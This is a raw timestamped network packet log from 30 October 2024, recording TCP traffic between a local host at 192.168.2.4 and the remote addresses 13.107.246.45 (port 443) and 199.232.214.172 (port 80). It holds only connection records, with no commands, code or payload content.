Oct 30, 2024 02:28:02.716824055 CET	443	49803	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:03.352951050 CET	443	49799	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:03.363734007 CET	443	49800	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:03.373155117 CET	443	49801	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:03.381681919 CET	49799	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:03.381696939 CET	443	49799	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:03.382128954 CET	49799	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:03.382133961 CET	443	49799	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:03.382426977 CET	49800	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:03.382447004 CET	443	49800	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:03.382801056 CET	49800	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:03.382806063 CET	443	49800	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:03.383137941 CET	49801	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:03.383155107 CET	443	49801	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:03.383548021 CET	49801	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:03.383552074 CET	443	49801	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:03.440959930 CET	443	49802	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:03.442702055 CET	49802	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:03.442715883 CET	443	49802	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:03.443156004 CET	49802	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:03.443160057 CET	443	49802	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:03.461947918 CET	443	49803	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:03.464867115 CET	49803	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:03.464876890 CET	443	49803	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:03.465270042 CET	49803	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:03.465274096 CET	443	49803	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:03.508826971 CET	443	49799	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:03.508992910 CET	443	49799	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:03.509071112 CET	49799	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:03.509089947 CET	49799	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:03.509100914 CET	443	49799	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:03.509109974 CET	49799	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:03.509114981 CET	443	49799	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:03.511492968 CET	443	49801	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:03.511508942 CET	49804	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:03.511529922 CET	443	49804	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:03.511620998 CET	49804	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:03.511655092 CET	443	49801	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:03.511709929 CET	49801	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:03.511744976 CET	49804	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:03.511755943 CET	443	49804	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:03.511756897 CET	49801	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:03.511756897 CET	49801	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:03.511770964 CET	443	49801	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:03.511779070 CET	443	49801	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:03.513252020 CET	443	49800	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:03.513328075 CET	443	49800	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:03.513371944 CET	49800	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:03.513427019 CET	49800	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:03.513436079 CET	443	49800	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:03.513457060 CET	49800	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:03.513465881 CET	443	49800	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:03.513600111 CET	49805	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:03.513632059 CET	443	49805	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:03.513679028 CET	49805	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:03.513776064 CET	49805	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:03.513784885 CET	443	49805	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:03.515141010 CET	49806	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:03.515150070 CET	443	49806	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:03.515213013 CET	49806	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:03.515322924 CET	49806	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:03.515331984 CET	443	49806	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:03.569540977 CET	443	49802	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:03.569798946 CET	443	49802	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:03.569859982 CET	49802	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:03.569889069 CET	49802	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:03.569900036 CET	443	49802	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:03.569907904 CET	49802	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:03.569914103 CET	443	49802	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:03.572554111 CET	49807	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:03.572582006 CET	443	49807	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:03.572645903 CET	49807	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:03.572766066 CET	49807	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:03.572774887 CET	443	49807	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:03.591562033 CET	443	49803	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:03.591773033 CET	443	49803	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:03.591845036 CET	49803	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:03.591898918 CET	49803	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:03.591913939 CET	443	49803	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:03.591926098 CET	49803	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:03.591932058 CET	443	49803	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:03.594279051 CET	49808	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:03.594300032 CET	443	49808	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:03.594358921 CET	49808	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:03.594501019 CET	49808	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:03.594511986 CET	443	49808	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:04.505815983 CET	443	49805	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:04.506294966 CET	49805	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:04.506311893 CET	443	49805	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:04.506742001 CET	49805	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:04.506747007 CET	443	49805	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:04.511167049 CET	443	49806	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:04.511414051 CET	49806	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:04.511424065 CET	443	49806	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:04.511514902 CET	443	49804	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:04.511732101 CET	49806	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:04.511737108 CET	443	49806	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:04.511754990 CET	49804	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:04.511761904 CET	443	49804	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:04.512229919 CET	49804	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:04.512236118 CET	443	49804	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:04.633624077 CET	443	49808	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:04.634056091 CET	49808	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:04.634073973 CET	443	49808	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:04.634496927 CET	49808	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:04.634501934 CET	443	49808	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:04.635199070 CET	443	49805	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:04.635381937 CET	443	49805	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:04.635437012 CET	49805	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:04.635482073 CET	49805	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:04.635495901 CET	443	49805	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:04.635508060 CET	49805	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:04.635513067 CET	443	49805	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:04.638001919 CET	49809	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:04.638021946 CET	443	49809	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:04.638086081 CET	49809	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:04.638200998 CET	49809	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:04.638212919 CET	443	49809	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:04.639127970 CET	443	49806	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:04.639394045 CET	443	49806	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:04.639451981 CET	49806	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:04.639467955 CET	49806	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:04.639475107 CET	443	49806	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:04.639484882 CET	49806	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:04.639488935 CET	443	49806	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:04.641000986 CET	443	49807	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:04.641309023 CET	49807	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:04.641321898 CET	443	49807	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:04.641329050 CET	49810	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:04.641354084 CET	443	49810	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:04.641410112 CET	49810	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:04.641505003 CET	49810	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:04.641514063 CET	443	49810	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:04.641768932 CET	49807	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:04.641773939 CET	443	49807	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:04.648175955 CET	443	49804	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:04.648648977 CET	443	49804	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:04.648813009 CET	49804	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:04.648813009 CET	49804	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:04.648813009 CET	49804	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:04.650571108 CET	49811	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:04.650580883 CET	443	49811	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:04.650655985 CET	49811	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:04.650774002 CET	49811	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:04.650791883 CET	443	49811	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:04.760885954 CET	443	49808	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:04.761029959 CET	443	49808	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:04.761193991 CET	49808	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:04.761193991 CET	49808	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:04.761193991 CET	49808	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:04.762989044 CET	49812	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:04.763006926 CET	443	49812	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:04.763073921 CET	49812	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:04.763190985 CET	49812	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:04.763199091 CET	443	49812	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:04.772927046 CET	443	49807	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:04.773072958 CET	443	49807	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:04.773144960 CET	49807	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:04.773181915 CET	49807	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:04.773190975 CET	443	49807	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:04.773200035 CET	49807	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:04.773204088 CET	443	49807	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:04.775080919 CET	49813	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:04.775094032 CET	443	49813	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:04.775175095 CET	49813	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:04.775316000 CET	49813	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:04.775325060 CET	443	49813	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:04.955885887 CET	49804	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:04.955892086 CET	443	49804	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:05.065223932 CET	49808	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:05.065239906 CET	443	49808	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:05.354631901 CET	443	49809	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:05.355098009 CET	49809	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:05.355109930 CET	443	49809	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:05.355554104 CET	49809	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:05.355560064 CET	443	49809	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:05.377643108 CET	443	49810	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:05.378047943 CET	49810	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:05.378062963 CET	443	49810	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:05.378400087 CET	49810	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:05.378405094 CET	443	49810	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:05.418896914 CET	443	49811	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:05.419209003 CET	49811	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:05.419218063 CET	443	49811	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:05.419586897 CET	49811	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:05.419591904 CET	443	49811	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:05.483108997 CET	443	49809	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:05.483632088 CET	443	49809	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:05.483688116 CET	49809	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:05.483721972 CET	49809	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:05.483728886 CET	443	49809	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:05.483740091 CET	49809	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:05.483742952 CET	443	49809	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:05.486095905 CET	49814	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:05.486125946 CET	443	49814	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:05.486203909 CET	49814	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:05.486331940 CET	49814	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:05.486342907 CET	443	49814	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:05.515146971 CET	443	49810	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:05.515295029 CET	443	49810	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:05.515363932 CET	49810	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:05.515441895 CET	49810	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:05.515454054 CET	443	49810	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:05.515465975 CET	49810	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:05.515470982 CET	443	49810	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:05.517770052 CET	49815	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:05.517796993 CET	443	49815	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:05.517868996 CET	49815	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:05.517995119 CET	49815	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:05.518006086 CET	443	49815	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:05.518397093 CET	443	49812	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:05.518692970 CET	49812	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:05.518702030 CET	443	49812	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:05.519100904 CET	49812	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:05.519105911 CET	443	49812	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:05.522985935 CET	443	49813	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:05.523279905 CET	49813	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:05.523288965 CET	443	49813	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:05.523726940 CET	49813	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:05.523730993 CET	443	49813	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:05.547749996 CET	443	49811	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:05.547983885 CET	443	49811	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:05.548057079 CET	49811	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:05.548073053 CET	49811	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:05.548082113 CET	443	49811	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:05.548090935 CET	49811	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:05.548094034 CET	443	49811	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:05.550529957 CET	49816	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:05.550618887 CET	443	49816	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:05.550683022 CET	49816	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:05.550909042 CET	49816	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:05.550944090 CET	443	49816	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:05.651041985 CET	443	49812	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:05.651441097 CET	443	49812	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:05.651534081 CET	49812	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:05.651556015 CET	49812	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:05.651572943 CET	443	49812	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:05.651585102 CET	49812	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:05.651590109 CET	443	49812	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:05.654143095 CET	49817	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:05.654171944 CET	443	49817	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:05.654238939 CET	49817	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:05.654366970 CET	49817	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:05.654381037 CET	443	49817	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:05.654665947 CET	443	49813	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:05.654815912 CET	443	49813	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:05.654872894 CET	49813	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:05.654896021 CET	49813	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:05.654905081 CET	443	49813	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:05.654913902 CET	49813	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:05.654918909 CET	443	49813	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:05.657167912 CET	49818	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:05.657191038 CET	443	49818	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:05.657332897 CET	49818	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:05.657480955 CET	49818	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:05.657500982 CET	443	49818	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:06.159102917 CET	49724	80	192.168.2.4	199.232.214.172
Oct 30, 2024 02:28:06.164751053 CET	80	49724	199.232.214.172	192.168.2.4
Oct 30, 2024 02:28:06.164849043 CET	49724	80	192.168.2.4	199.232.214.172
Oct 30, 2024 02:28:06.230602980 CET	443	49814	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:06.231082916 CET	49814	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:06.231103897 CET	443	49814	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:06.231525898 CET	49814	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:06.231529951 CET	443	49814	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:06.244411945 CET	443	49815	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:06.244776964 CET	49815	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:06.244796038 CET	443	49815	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:06.245162010 CET	49815	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:06.245167971 CET	443	49815	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:06.309093952 CET	443	49816	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:06.309533119 CET	49816	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:06.309592009 CET	443	49816	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:06.309935093 CET	49816	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:06.309947014 CET	443	49816	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:06.361165047 CET	443	49814	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:06.361241102 CET	443	49814	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:06.361309052 CET	49814	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:06.361474037 CET	49814	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:06.361500978 CET	443	49814	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:06.361510992 CET	49814	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:06.361516953 CET	443	49814	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:06.363851070 CET	49819	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:06.363882065 CET	443	49819	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:06.363965034 CET	49819	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:06.364103079 CET	49819	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:06.364116907 CET	443	49819	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:06.371644974 CET	443	49815	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:06.371809006 CET	443	49815	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:06.371999025 CET	49815	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:06.372055054 CET	49815	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:06.372064114 CET	443	49815	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:06.372073889 CET	49815	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:06.372078896 CET	443	49815	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:06.374216080 CET	49820	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:06.374241114 CET	443	49820	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:06.374317884 CET	49820	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:06.374412060 CET	49820	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:06.374427080 CET	443	49820	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:06.389360905 CET	443	49817	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:06.389692068 CET	49817	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:06.389702082 CET	443	49817	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:06.390132904 CET	49817	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:06.390136957 CET	443	49817	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:06.395941973 CET	443	49818	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:06.396385908 CET	49818	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:06.396401882 CET	443	49818	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:06.396748066 CET	49818	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:06.396756887 CET	443	49818	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:06.439935923 CET	443	49816	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:06.440102100 CET	443	49816	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:06.440174103 CET	49816	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:06.440387964 CET	49816	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:06.440387964 CET	49816	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:06.440418959 CET	443	49816	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:06.440444946 CET	443	49816	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:06.442240953 CET	49821	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:06.442307949 CET	443	49821	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:06.442404985 CET	49821	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:06.442496061 CET	49821	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:06.442516088 CET	443	49821	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:06.519351959 CET	443	49817	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:06.519435883 CET	443	49817	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:06.519496918 CET	49817	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:06.519556999 CET	49817	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:06.519563913 CET	443	49817	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:06.519573927 CET	49817	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:06.519577980 CET	443	49817	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:06.521506071 CET	49822	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:06.521521091 CET	443	49822	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:06.521619081 CET	49822	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:06.521728992 CET	49822	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:06.521742105 CET	443	49822	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:06.526716948 CET	443	49818	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:06.526866913 CET	443	49818	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:06.527071953 CET	49818	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:06.527126074 CET	49818	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:06.527153969 CET	443	49818	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:06.527178049 CET	49818	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:06.527192116 CET	443	49818	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:06.528835058 CET	49823	443	192.168.2.4	13.107.246.45
